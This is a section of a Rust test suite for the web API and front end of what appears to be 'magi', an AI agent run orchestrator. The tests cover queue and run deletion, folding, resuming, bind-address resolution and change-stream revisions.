8959 "queue_rev",
8960 "runs_rev",
8961 "questions_rev",
8962 "talks_rev",
8963 "notifications_rev",
8964 "loop_rev",
8965 ] {
8966 assert!(
8967 health[key].is_u64(),
8968 "health is the change stream's fallback and is missing `{key}`: {health}"
8969 );
8970 }
8971 }
8972
8973 #[tokio::test]
8974 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8975 let f = Fixture::start().await;
8976 let before = f.get("/api/health").await.json()["talks_rev"]
8977 .as_u64()
8978 .expect("talks_rev");
8979
8980 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8981 std::thread::sleep(Duration::from_millis(10));
8982 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8983 on_disk.turns.push(crate::talk::Turn {
8984 who: crate::talk::Who::Operator,
8985 body: "a new turn".to_owned(),
8986 at: Timestamp::now(),
8987 attachments: Vec::new(),
8988 });
8989 f.talks().put(&mut on_disk).expect("record a turn");
8990
8991 let after = f.get("/api/health").await.json()["talks_rev"]
8992 .as_u64()
8993 .expect("talks_rev");
8994 assert_ne!(
8995 before, after,
8996 "a phone must be able to notice a talk's reply without polling every store"
8997 );
8998 }
8999
9000 #[test]
9001 fn bind_reads_back_from_the_spelling_the_cli_prints() {
9002 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
9006 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
9007 }
9008 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9009 assert!("everywhere".parse::<Bind>().is_err());
9010 }
9011
9012 #[test]
9013 fn an_explicit_bind_address_is_taken_verbatim() {
9014 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9015
9016 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9017
9018 assert_eq!(addr, asked);
9019 assert!(
9020 warning.is_none(),
9021 "an operator who named an address gets no lecture"
9022 );
9023 }
9024
9025 #[test]
9026 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9027 let (addr, warning) = resolve_bind(&Bind::Auto);
9028
9029 match addr {
9036 IpAddr::V4(ip) if is_tailnet(&ip) => {
9037 assert!(warning.is_none(), "a tailnet address needs no warning");
9038 }
9039 other => {
9040 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9041 let warning = warning.expect("a fallback has to explain itself");
9042 assert!(
9043 warning.contains("127.0.0.1") && warning.contains("local-only"),
9044 "the warning says what happened and what it costs: {warning}"
9045 );
9046 }
9047 }
9048 }
9049
9050 #[test]
9051 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9052 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9056 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
9057 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9058 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9059 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9060 }
9061
9062 #[test]
9063 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9064 let ids = vec![
9065 "20260902-140501-aaaa".to_owned(),
9066 "20260902-140502-aabb".to_owned(),
9067 ];
9068
9069 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
9070 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
9071 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
9072
9073 assert_eq!(missing.status, StatusCode::NOT_FOUND);
9074 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
9075 assert_eq!(short, "20260902-140502-aabb");
9076 }
9077 #[tokio::test]
9078 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
9079 let fx = Fixture::start().await;
9085 let id = panel(
9086 &fx,
9087 "<img src=\"shot.png\">",
9088 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
9089 );
9090
9091 let doc = fx
9093 .get(&format!("/api/questions/{id}/panel/index.html"))
9094 .await;
9095 assert_eq!(doc.status, 200, "{}", doc.body);
9096 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
9097
9098 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
9099 assert_eq!(sibling.status, 200, "{}", sibling.body);
9100 assert_eq!(sibling.header("content-type"), Some("image/png"));
9101 assert_eq!(
9102 sibling.header("content-security-policy"),
9103 Some(PANEL_CSP),
9104 "the sibling route must carry the same policy as the asset route"
9105 );
9106
9107 assert_eq!(
9110 fx.head(&format!("/api/questions/{id}/panel")).await.status,
9111 200
9112 );
9113 }
9114
9115 #[test]
9116 fn runs_revision_moves_when_deleting_an_older_run() {
9117 let temp = TempDir::new().expect("tempdir");
9118 let runs = temp.path().join("runs");
9119 std::fs::create_dir_all(&runs).expect("create runs dir");
9120
9121 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
9122
9123 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
9124 std::thread::sleep(Duration::from_millis(10));
9125 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
9126
9127 let rev_before = runs_revision(&runs);
9128 assert!(rev_before > 0);
9129
9130 let old_dir = runs.join("20260901-100000-old1");
9131 std::fs::remove_dir_all(&old_dir).expect("remove old run");
9132
9133 let rev_after = runs_revision(&runs);
9134 assert_ne!(
9135 rev_before, rev_after,
9136 "deleting an older run must change the revision so other clients see the deletion"
9137 );
9138 }
9139
9140 fn write_state(runs: &FsPath, state: &RunState) {
9145 let dir = runs.join(&state.id);
9146 std::fs::create_dir_all(&dir).expect("run dir");
9147 std::fs::write(
9148 dir.join("run.json"),
9149 serde_json::to_string_pretty(state).expect("serialize run"),
9150 )
9151 .expect("write run.json");
9152 }
9153
9154 #[test]
9159 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
9160 let temp = TempDir::new().expect("tempdir");
9161 let runs = temp.path().join("runs");
9162 std::fs::create_dir_all(&runs).expect("create runs dir");
9163 let mut state = RunState::new(
9164 PathBuf::from("/repo/magi"),
9165 "main".to_owned(),
9166 "0123456789abcdef".to_owned(),
9167 "task".to_owned(),
9168 Config::default(),
9169 );
9170 state.id = "20260902-100000-c0de".to_owned();
9171 write_state(&runs, &state);
9172
9173 let rev_idle = runs_revision(&runs);
9174 std::thread::sleep(Duration::from_millis(10));
9175 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
9176 write_state(&runs, &state);
9177 let rev_started = runs_revision(&runs);
9178 assert_ne!(
9179 rev_idle, rev_started,
9180 "a seat starting must move the revision"
9181 );
9182
9183 std::thread::sleep(Duration::from_millis(10));
9184 state.seat_finished("judge-1");
9185 write_state(&runs, &state);
9186 let rev_finished = runs_revision(&runs);
9187 assert_ne!(
9188 rev_started, rev_finished,
9189 "and clearing it again must move the revision a second time"
9190 );
9191 }
9192
9193 #[tokio::test]
9194 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9195 let fx = Fixture::start().await;
9200 let q = fx.queue();
9201
9202 let mut t = Task::new(
9203 "Task".to_owned(),
9204 "Instruction".to_owned(),
9205 PathBuf::from("/repo"),
9206 Source::Human,
9207 );
9208 t.block(
9209 vec!["20260101-000000-dead".to_owned()],
9210 Some("waiting on Task 1".to_owned()),
9211 );
9212 t.answers.push(crate::queue::AnsweredQuestion {
9213 question: "Which backend?".to_owned(),
9214 answer: "SQLite".to_owned(),
9215 });
9216 q.put(&mut t).expect("put t");
9217
9218 let res = fx.get("/api/queue").await;
9219 assert_eq!(res.status, 200);
9220 let list = res.json();
9221 let view = list
9222 .as_array()
9223 .expect("array")
9224 .iter()
9225 .find(|v| v["id"] == t.id)
9226 .expect("task in list");
9227 assert_eq!(view["status_str"], "blocked");
9228 assert_eq!(
9229 view["blocked_by"],
9230 serde_json::json!(["20260101-000000-dead"])
9231 );
9232 assert_eq!(view["block_reason"], "waiting on Task 1");
9233 assert_eq!(view["answers"][0]["question"], "Which backend?");
9234 assert_eq!(view["answers"][0]["answer"], "SQLite");
9235
9236 let res = fx
9240 .post(&format!("/api/queue/{}/hold", t.short()), None)
9241 .await;
9242 assert_eq!(res.status, 200);
9243 let held = res.json();
9244 assert_eq!(held["status_str"], "held");
9245 assert_eq!(held["blocked_by"], serde_json::json!([]));
9246 assert!(held["block_reason"].is_null());
9247 assert_eq!(held["answers"][0]["answer"], "SQLite");
9248 }
9249
9250 #[tokio::test]
9251 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9252 let fx = Fixture::start().await;
9253 let q = fx.queue();
9254 let mk = |title: &str| {
9255 Task::new(
9256 title.to_owned(),
9257 "Instruction".to_owned(),
9258 PathBuf::from("/repo"),
9259 Source::Human,
9260 )
9261 };
9262 let mut root = mk("root");
9263 root.hold_manual(Some("waiting".to_owned()));
9264 q.put(&mut root).unwrap();
9265 let mut mid = mk("mid");
9266 mid.block(vec![root.id.clone()], None);
9267 q.put(&mut mid).unwrap();
9268 let mut leaf = mk("leaf");
9269 leaf.block(vec![mid.id.clone()], None);
9270 q.put(&mut leaf).unwrap();
9271
9272 let list = fx.get("/api/queue").await.json();
9273 let find = |id: &str| {
9274 list.as_array()
9275 .unwrap()
9276 .iter()
9277 .find(|v| v["id"] == id)
9278 .unwrap()
9279 .clone()
9280 };
9281 let leaf_view = find(&leaf.id);
9282 assert_eq!(
9283 leaf_view["waits_on"],
9284 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9285 );
9286 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9287 assert_eq!(
9288 find(&mid.id)["waits_on"],
9289 serde_json::json!([format!("{} (held)", root.short())])
9290 );
9291 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9292 }
9293
9294 #[tokio::test]
9295 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9296 let fx = Fixture::start().await;
9297 let q = fx.queue();
9298
9299 let mut t1 = Task::new(
9301 "Task 1".to_owned(),
9302 "Instruction 1".to_owned(),
9303 PathBuf::from("/repo"),
9304 Source::Human,
9305 );
9306 let run_id = "20260901-000000-r111";
9307 t1.runs.push(run_id.to_owned());
9308 write_run(&fx.runs(), run_id, RunStatus::Merged);
9309 q.put(&mut t1).expect("put t1");
9310
9311 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9313 assert_eq!(res.status, 204);
9314 assert!(res.body.is_empty(), "204 No Content has no body");
9315 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9316 assert!(
9317 fx.runs().join(run_id).exists(),
9318 "run directory must not be deleted when its task is deleted"
9319 );
9320
9321 let mut t2 = Task::new(
9323 "Task 2".to_owned(),
9324 "Instruction 2".to_owned(),
9325 PathBuf::from("/repo"),
9326 Source::Human,
9327 );
9328 t2.status = TaskStatus::Running;
9329 q.put(&mut t2).expect("put t2");
9330 let mut beat = crate::daemon::Status::new();
9331 beat.current = vec![crate::daemon::Current {
9332 task: t2.id.clone(),
9333 run: "20260901-000000-r222".to_owned(),
9334 }];
9335 beat.updated_at = jiff::Timestamp::now();
9336 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9337 .expect("publish a heartbeat");
9338 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9339 assert_eq!(res.status, 409);
9340 assert!(
9341 res.json()["error"]
9342 .as_str()
9343 .unwrap()
9344 .contains("live daemon")
9345 );
9346 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9347
9348 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9354 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9355 .expect("leave a stale heartbeat");
9356 let mut t3 = Task::new(
9357 "Task 3".to_owned(),
9358 "Instruction 3".to_owned(),
9359 PathBuf::from("/repo"),
9360 Source::Human,
9361 );
9362 t3.status = TaskStatus::Running;
9363 q.put(&mut t3).expect("put t3");
9364 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9365 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9366 assert_eq!(res.status, 204);
9367 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9368 assert!(
9369 q.claim(&t3.id).is_ok(),
9370 "the stale lock went with it, so the id is claimable again"
9371 );
9372
9373 let res = fx.delete("/api/queue/nonexistent").await;
9375 assert_eq!(res.status, 404);
9376 }
9377
9378 #[tokio::test]
9379 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9380 let fx = Fixture::start().await;
9381 let runs = fx.runs();
9382
9383 let run_id = "20260901-000000-fold";
9385 let mut state = RunState::new(
9386 PathBuf::from("/repo"),
9387 "main".to_owned(),
9388 "abc".to_owned(),
9389 "instruction".to_owned(),
9390 Config::default(),
9391 );
9392 state.id = run_id.to_owned();
9393 state.status = RunStatus::Merged;
9394 state.candidates.push(crate::run::Candidate {
9395 index: 0,
9396 label: 'A',
9397 agent: "a".to_owned(),
9398 branch: "b".to_owned(),
9399 worktree: PathBuf::from("/w"),
9400 summary: String::new(),
9401 stat: String::new(),
9402 files: 1,
9403 commits: 1,
9404 empty: false,
9405 failed: None,
9406 verified_noop: None,
9407 duration_ms: 0,
9408 folded: true,
9409 });
9410 let dir = runs.join(run_id);
9411 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9412 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9413 .expect("write artifact");
9414 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9415 .expect("write run.json");
9416
9417 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9419 assert_eq!(res.status, 204);
9420 assert!(res.body.is_empty(), "204 has no body");
9421 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9422
9423 let run_running = "20260901-000000-rung";
9428 write_run(&runs, run_running, RunStatus::Prep);
9429 let mut beat = crate::daemon::Status::new();
9430 beat.current = vec![crate::daemon::Current {
9431 task: "20260901-000000-task".to_owned(),
9432 run: run_running.to_owned(),
9433 }];
9434 beat.updated_at = jiff::Timestamp::now();
9435 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9436 .expect("publish a heartbeat");
9437 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9438 assert_eq!(res.status, 409);
9439 assert!(
9440 res.json()["error"]
9441 .as_str()
9442 .unwrap()
9443 .contains("live daemon"),
9444 "the refusal must say who is holding it"
9445 );
9446 assert!(
9447 runs.join(run_running).exists(),
9448 "a run in flight keeps its directory"
9449 );
9450
9451 let run_unfolded = "20260901-000000-unfd";
9453 let mut state2 = RunState::new(
9454 PathBuf::from("/repo"),
9455 "main".to_owned(),
9456 "abc".to_owned(),
9457 "instruction".to_owned(),
9458 Config::default(),
9459 );
9460 state2.id = run_unfolded.to_owned();
9461 state2.status = RunStatus::Ready;
9462 state2.candidates.push(crate::run::Candidate {
9463 index: 0,
9464 label: 'A',
9465 agent: "a".to_owned(),
9466 branch: "b".to_owned(),
9467 worktree: PathBuf::from("/w"),
9468 summary: String::new(),
9469 stat: String::new(),
9470 files: 1,
9471 commits: 1,
9472 empty: false,
9473 failed: None,
9474 verified_noop: None,
9475 duration_ms: 0,
9476 folded: false,
9477 });
9478 let dir2 = runs.join(run_unfolded);
9479 std::fs::create_dir_all(&dir2).expect("create dir2");
9480 std::fs::write(
9481 dir2.join("run.json"),
9482 serde_json::to_string(&state2).unwrap(),
9483 )
9484 .expect("write run.json");
9485
9486 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9487 assert_eq!(res.status, 409);
9488 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9489 assert!(dir2.exists(), "unfolded run directory is kept");
9490
9491 let res = fx.delete("/api/runs/nonexistent").await;
9493 assert_eq!(res.status, 404);
9494 }
9495
9496 #[test]
9505 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9506 let start = APP_JS
9507 .find("function renderStats() {")
9508 .expect("renderStats");
9509 let end = start
9510 + APP_JS[start..]
9511 .find("function statsTile(")
9512 .expect("the next top-level function");
9513 let body = &APP_JS[start..end];
9514
9515 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9516 let gate_end = gate_start
9517 + body[gate_start..]
9518 .find("}\n renderStatsQueue")
9519 .expect("the gate's own closing brace, right before the unconditional call");
9520 let gated = &body[gate_start..gate_end];
9521
9522 assert_eq!(
9523 body.matches("renderStatsQueue(").count(),
9524 1,
9525 "renderStats must call renderStatsQueue exactly once: {body}"
9526 );
9527 assert!(
9528 !gated.contains("renderStatsQueue"),
9529 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9530 run-derived panels on an empty run history - the queue panel has to render \
9531 regardless: {gated}"
9532 );
9533 }
9534
9535 #[test]
9536 fn web_ui_delete_contract_in_front_end() {
9537 assert!(APP_JS.contains("deleteRun:"));
9539 assert!(APP_JS.contains("deleteTask:"));
9540
9541 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9543 ..APP_JS.find("function renderRuns").unwrap()];
9544 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9545
9546 assert!(APP_JS.contains("renderRunDelete"));
9548 assert!(APP_JS.contains("runDeleteReason"));
9549 assert!(APP_JS.contains("magi fold"));
9550 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9551
9552 assert!(APP_JS.contains("cancel.focus"));
9554 assert!(APP_JS.contains("armedRunDelete"));
9555 assert!(APP_JS.contains("armedDelete"));
9556
9557 assert!(APP_JS.contains("disabled: status === \"running\""));
9559 }
9560
9561 #[test]
9581 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9582 let build = APP_JS
9583 .find("function createRunCard")
9584 .expect("createRunCard exists");
9585 let update = APP_JS
9586 .find("function updateRunCard")
9587 .expect("updateRunCard exists");
9588 let end = APP_JS
9589 .find("function renderRuns")
9590 .expect("renderRuns exists");
9591
9592 let builder = &APP_JS[build..update];
9594 let open = builder.find("refs = {").expect("createRunCard sets refs");
9595 let literal = &builder[open + "refs = {".len()..];
9596 let close = literal.find('}').expect("the refs literal is closed");
9597 let published: HashSet<&str> = literal[..close]
9598 .split(',')
9599 .filter_map(|entry| entry.split(':').next())
9601 .map(str::trim)
9602 .filter(|name| !name.is_empty())
9603 .collect();
9604 assert!(
9605 published.len() > 5,
9606 "the refs literal did not parse into names: {published:?}"
9607 );
9608
9609 let mut used: Vec<&str> = Vec::new();
9612 let updaters = &APP_JS[update..end];
9613 for (at, _) in updaters.match_indices("r.") {
9614 let before = updaters[..at].chars().next_back();
9617 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9618 continue;
9619 }
9620 let rest = &updaters[at + 2..];
9621 let len = rest
9622 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9623 .unwrap_or(rest.len());
9624 if len > 0 {
9625 used.push(&rest[..len]);
9626 }
9627 }
9628 assert!(
9629 used.len() > 5,
9630 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9631 );
9632
9633 let missing: Vec<&str> = used
9634 .iter()
9635 .copied()
9636 .filter(|name| !published.contains(name))
9637 .collect();
9638 assert!(
9639 missing.is_empty(),
9640 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9641 never put in `refs` - every card will throw and the list will \
9642 render empty under a count line that says otherwise. Published: \
9643 {published:?}"
9644 );
9645 }
9646
9647 #[tokio::test]
9648 async fn folding_from_the_phone_reports_what_it_removed() {
9649 let fx = Fixture::start().await;
9650 let runs = fx.runs();
9651
9652 let id = "20260901-000000-fold";
9656 write_run(&runs, id, RunStatus::Stalled);
9657 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9658 assert_eq!(res.status, 200);
9659 assert_eq!(res.json()["removed_count"], 0);
9660 assert_eq!(res.json()["run"], id);
9661 assert!(
9662 runs.join(id).exists(),
9663 "a fold keeps the run's record; only the worktrees go"
9664 );
9665 }
9666
9667 #[tokio::test]
9668 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9669 let fx = Fixture::start().await;
9670 let runs = fx.runs();
9671 let wt = fx.home.path().join("wt").join("magi").join("dead");
9672 let id = "20260901-000000-dead";
9673 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9674 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9675 std::fs::create_dir_all(&wt).expect("worktree dir");
9676
9677 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9678 assert_eq!(res.status, 200, "{}", res.body);
9679 assert!(
9680 res.json()["removed_count"].as_u64().unwrap() > 0,
9681 "the worktree this build could not read a state for still went"
9682 );
9683 assert!(
9684 !runs.join(id).exists(),
9685 "an unreadable run has no candidate list to fold selectively, so \
9686 the whole record goes - same as `magi fold` on the CLI"
9687 );
9688 }
9689
9690 #[tokio::test]
9691 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9692 let fx = Fixture::start().await;
9693 let runs = fx.runs();
9694 let wt = fx.home.path().join("wt").join("magi").join("gone");
9695 let id = "20260901-000000-gone";
9696 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9697 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9698 std::fs::create_dir_all(&wt).expect("worktree dir");
9699
9700 let res = fx.delete(&format!("/api/runs/{id}")).await;
9701 assert_eq!(res.status, 204, "{}", res.body);
9702 assert!(!runs.join(id).exists(), "the broken record is gone");
9703 assert!(!wt.exists(), "its worktree is gone too");
9704 }
9705
9706 #[tokio::test]
9707 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9708 let fx = Fixture::start().await;
9709 let runs = fx.runs();
9710 let id = "20260901-000000-live";
9711 write_run(&runs, id, RunStatus::Implementing);
9712
9713 let mut beat = crate::daemon::Status::new();
9714 beat.current = vec![crate::daemon::Current {
9715 task: "20260901-000000-task".to_owned(),
9716 run: id.to_owned(),
9717 }];
9718 beat.updated_at = jiff::Timestamp::now();
9719 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9720 .expect("publish a heartbeat");
9721
9722 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9723 assert_eq!(res.status, 409);
9724 assert!(
9725 res.json()["error"]
9726 .as_str()
9727 .unwrap()
9728 .contains("live daemon"),
9729 "folding under a running agent would pull its worktree away"
9730 );
9731 }
9732
9733 #[tokio::test]
9734 async fn fold_merged_requires_a_pr_url() {
9735 let fx = Fixture::start().await;
9736 let runs = fx.runs();
9737 let id = "20260901-000000-nourl";
9738 write_run(&runs, id, RunStatus::Blocked);
9739
9740 let res = fx
9741 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9742 .await;
9743 assert_eq!(res.status, 400, "{}", res.body);
9744
9745 let blank = fx
9746 .post(
9747 &format!("/api/runs/{id}/fold-merged"),
9748 Some(r#"{"pr_url":" "}"#),
9749 )
9750 .await;
9751 assert_eq!(blank.status, 400, "{}", blank.body);
9752 }
9753
9754 #[tokio::test]
9755 async fn fold_merged_is_404_for_an_unknown_run() {
9756 let fx = Fixture::start().await;
9757 let res = fx
9758 .post(
9759 "/api/runs/nosuchrun/fold-merged",
9760 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9761 )
9762 .await;
9763 assert_eq!(res.status, 404, "{}", res.body);
9764 }
9765
9766 #[tokio::test]
9767 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9768 let fx = Fixture::start().await;
9769 let runs = fx.runs();
9770 let id = "20260901-000000-livemerge";
9771 write_run(&runs, id, RunStatus::Blocked);
9772
9773 let mut beat = crate::daemon::Status::new();
9774 beat.current = vec![crate::daemon::Current {
9775 task: "20260901-000000-task".to_owned(),
9776 run: id.to_owned(),
9777 }];
9778 beat.updated_at = jiff::Timestamp::now();
9779 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9780 .expect("publish a heartbeat");
9781
9782 let res = fx
9783 .post(
9784 &format!("/api/runs/{id}/fold-merged"),
9785 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9786 )
9787 .await;
9788 assert_eq!(res.status, 409, "{}", res.body);
9789 assert!(
9790 res.json()["error"]
9791 .as_str()
9792 .unwrap()
9793 .contains("live daemon"),
9794 "correcting a run's merge underneath a running agent would race \
9795 whatever it is doing to the same `status`/`merge` fields"
9796 );
9797 }
9798
9799 #[tokio::test]
9804 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9805 let fx = Fixture::start().await;
9806 let runs = fx.runs();
9807 let id = "20260901-000000-unconfirmed";
9808 write_run(&runs, id, RunStatus::Blocked);
9809
9810 let res = fx
9811 .post(
9812 &format!("/api/runs/{id}/fold-merged"),
9813 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9814 )
9815 .await;
9816 assert_eq!(res.status, 400, "{}", res.body);
9817 assert_eq!(
9818 read_run(&runs, id).unwrap().status,
9819 RunStatus::Blocked,
9820 "a pull request that could not be confirmed merged must leave \
9821 the run exactly where it was"
9822 );
9823 }
9824
9825 #[tokio::test]
9826 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9827 let fx = Fixture::start().await;
9828 let runs = fx.runs();
9829
9830 for (status, word) in [
9836 (RunStatus::Merged, "merged"),
9837 (RunStatus::Ready, "ready"),
9838 (RunStatus::Failed, "failed"),
9839 ] {
9840 let id = format!("20260901-000000-{}", &word[..4]);
9841 write_run(&runs, &id, status);
9842 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9843 assert_eq!(res.status, 409, "{word} must not be resumable");
9844 let err = res.json()["error"].as_str().unwrap().to_owned();
9845 assert!(err.contains(word), "the refusal names the status: {err}");
9846 }
9847
9848 let mid = "20260901-000000-midf";
9853 write_run(&runs, mid, RunStatus::Reviewing);
9854 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9855 assert_eq!(res.status, 202, "an interrupted run is resumable");
9856 }
9857
9858 #[tokio::test]
9859 async fn resume_is_refused_while_the_loop_is_running() {
9860 let fx = Fixture::start().await;
9861 let runs = fx.runs();
9862 let stalled = "20260901-000000-stal";
9863 write_run(&runs, stalled, RunStatus::Stalled);
9864
9865 let mut beat = crate::daemon::Status::new();
9869 beat.current = vec![crate::daemon::Current {
9870 task: "20260901-000000-task".to_owned(),
9871 run: "20260901-000000-othr".to_owned(),
9872 }];
9873 beat.updated_at = jiff::Timestamp::now();
9874 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9875 .expect("publish a heartbeat");
9876
9877 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9878 assert_eq!(res.status, 409);
9879 let err = res.json()["error"].as_str().unwrap().to_owned();
9880 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9881 assert!(err.contains("stop it first"), "{err}");
9882 }
9883
9884 #[test]
9885 fn a_run_cannot_be_resumed_twice_at_once() {
9886 let home = TempDir::new().expect("temp home");
9887 let ui = Ui::new(
9888 Queue::at(home.path().join("queue")),
9889 Questions::at(home.path().join("questions")),
9890 Talks::at(home.path().join("talks")),
9891 home.path().join("runs"),
9892 home.path().to_path_buf(),
9893 PathBuf::from("/repo"),
9894 )
9895 .with_worktrees_root(home.path().join("wt"));
9896 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9897 let again = ui.begin_resume("20260901-000000-once");
9898 assert!(again.is_err(), "a second tap must not start a second graph");
9899 drop(first);
9900 assert!(
9901 ui.begin_resume("20260901-000000-once").is_ok(),
9902 "and the claim is released when the attempt ends"
9903 );
9904 }
9905
9906 #[test]
9907 fn talk_thinking_tracks_only_its_held_turn_claim() {
9908 let home = TempDir::new().expect("temp home");
9909 let ui = Ui::new(
9910 Queue::at(home.path().join("queue")),
9911 Questions::at(home.path().join("questions")),
9912 Talks::at(home.path().join("talks")),
9913 home.path().join("runs"),
9914 home.path().to_path_buf(),
9915 PathBuf::from("/repo"),
9916 )
9917 .with_worktrees_root(home.path().join("wt"));
9918 let id = "20260901-000000-once";
9919
9920 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9921 let turn = ui.begin_talk_turn(id).expect("claim turn");
9922 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9923 assert!(
9924 !ui.is_thinking("20260901-000000-other"),
9925 "one talk's turn does not make another talk busy"
9926 );
9927 drop(turn);
9928 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9929 }
9930
9931 #[tokio::test]
9932 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9933 let fx = Fixture::start().await;
9934 let mut beat = crate::daemon::Status::new();
9938 beat.pid = 4321;
9939 beat.updated_at = jiff::Timestamp::now();
9940 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9941 .expect("publish a heartbeat");
9942
9943 let res = fx.post("/api/upgrade", None).await;
9944 assert_eq!(res.status, 409);
9945 let err = res.json()["error"].as_str().unwrap().to_owned();
9946 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9947 assert!(err.contains("old one against the same queue"), "{err}");
9948 }
9949
9950 #[test]
9957 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9958 assert!(!should_spawn_recheck(&crate::config::Update {
9959 mode: UpdateMode::Off,
9960 interval: None,
9961 }));
9962
9963 unsafe {
9966 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9967 }
9968 let killed = should_spawn_recheck(&crate::config::Update {
9969 mode: UpdateMode::Notify,
9970 interval: None,
9971 });
9972 unsafe {
9973 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9974 }
9975 assert!(
9976 !killed,
9977 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9978 one-time startup check"
9979 );
9980
